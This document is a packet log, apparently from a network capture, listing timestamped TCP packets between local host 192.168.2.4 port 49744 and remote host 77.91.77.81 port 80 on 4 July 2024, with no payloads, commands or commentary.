Jul 4, 2024 20:34:24.175776958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.175843954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.175853968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.175863028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.175873041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.175883055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.175885916 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.175893068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.175903082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.175903082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.175913095 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.175920963 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.175935984 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.175962925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.176573992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.176603079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.176613092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.176620960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.176630020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.176635027 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.176640034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.176649094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.176650047 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.176668882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.176698923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.177020073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.177030087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.177047014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.177057028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.177062988 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.177067041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.177077055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.177087069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.177088022 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.177104950 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.177118063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.177167892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.177177906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.177187920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.177198887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.177206039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.177212954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.177232027 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.177243948 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.178008080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.178018093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.178028107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.178044081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.178052902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.178052902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.178062916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.178073883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.178078890 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.178088903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.178105116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.178109884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.178114891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.178124905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.178134918 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.178148985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.178162098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.178177118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.178188086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.178217888 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.179543972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.179554939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.179564953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.179588079 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.179605007 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.179610014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.179620028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.179636002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.179642916 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.179646969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.179668903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.179694891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.179714918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.179723978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.179733992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.179744959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.179749012 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.179754972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.179774046 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.179785013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.180443048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.180454016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.180463076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.180478096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.180489063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.180491924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.180501938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.180511951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.180515051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.180526972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.180531025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.180537939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.180547953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.180551052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.180558920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.180568933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.180572987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.180600882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.181159019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.181183100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.181193113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.181200981 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.181226015 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.181240082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.181251049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.181262016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.181272030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.181283951 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.181296110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.181303978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.181313992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.181324005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.181334019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.181335926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.181360006 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.181379080 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.181405067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.181508064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.181934118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.181943893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.181952953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.181973934 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.181988001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.181998968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.182003021 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.182008982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.182018995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.182027102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.182049036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.182070971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.182080030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.182090044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.182100058 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.182110071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.182113886 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.182132006 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.182142973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.182857990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.182868004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.182878017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.182904005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.182931900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.182961941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.182971954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.182981968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.183003902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.183024883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.183300018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.183341980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.183423042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.183459997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.183480978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.183518887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.183528900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.183542967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.183552980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.183562994 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.183576107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.183799028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.183836937 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.183847904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.183887005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.183990002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.184030056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.184205055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.184215069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.184246063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.184361935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.184371948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.184381962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.184392929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.184401035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.184402943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.184412956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.184415102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.184422970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.184432983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.184442997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.184446096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.184452057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.184463024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.184477091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.184493065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.185142994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.185179949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.185182095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.185189962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.185211897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.185231924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.185234070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.185241938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.185251951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.185261965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.185267925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.185282946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.185295105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.185297966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.185307980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.185333014 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.185344934 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.185914040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.185939074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.185949087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.185955048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.185969114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.186058044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.186072111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.186081886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.186100006 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.186110020 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.186412096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.186455011 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.186487913 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.186525106 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.186585903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.186595917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.186605930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.186616898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.186625957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.186629057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.186640978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.186650038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.186657906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.186666965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.186667919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.186677933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.186687946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.186690092 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.186697960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.186712980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.186729908 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.187503099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.187514067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.187525034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.187542915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.187566042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.187570095 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.187580109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.187589884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.187599897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.187609911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.187625885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.187637091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.187645912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.187647104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.187657118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.187664986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.187680960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.187699080 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.188462019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.188472986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.188488007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.188507080 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.188535929 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.188604116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.188613892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.188622952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.188633919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.188646078 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.188649893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.188661098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.188669920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.188673019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.188680887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.188689947 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.188690901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.188704967 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.188714981 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.189376116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.189385891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.189398050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.189415932 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.189438105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.189455032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.189466000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.189476013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.189486027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.189493895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.189523935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.189548969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.189564943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.189574957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.189584970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.189594030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.189632893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.190349102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.190359116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.190368891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.190396070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.190401077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.190411091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.190411091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.190422058 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.190433979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.190440893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.190464020 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.190483093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.190493107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.190501928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.190511942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.190519094 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.190522909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.190535069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.190561056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.191315889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191359997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.191404104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191415071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191423893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191437960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191445112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.191453934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191463947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191472054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.191474915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191483974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191487074 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.191493988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191503048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.191504955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191514969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191524029 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.191550016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191556931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.191560984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191570997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191581011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191591978 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.191603899 CEST	49744	80	192.168.2.4	77.91.77.81
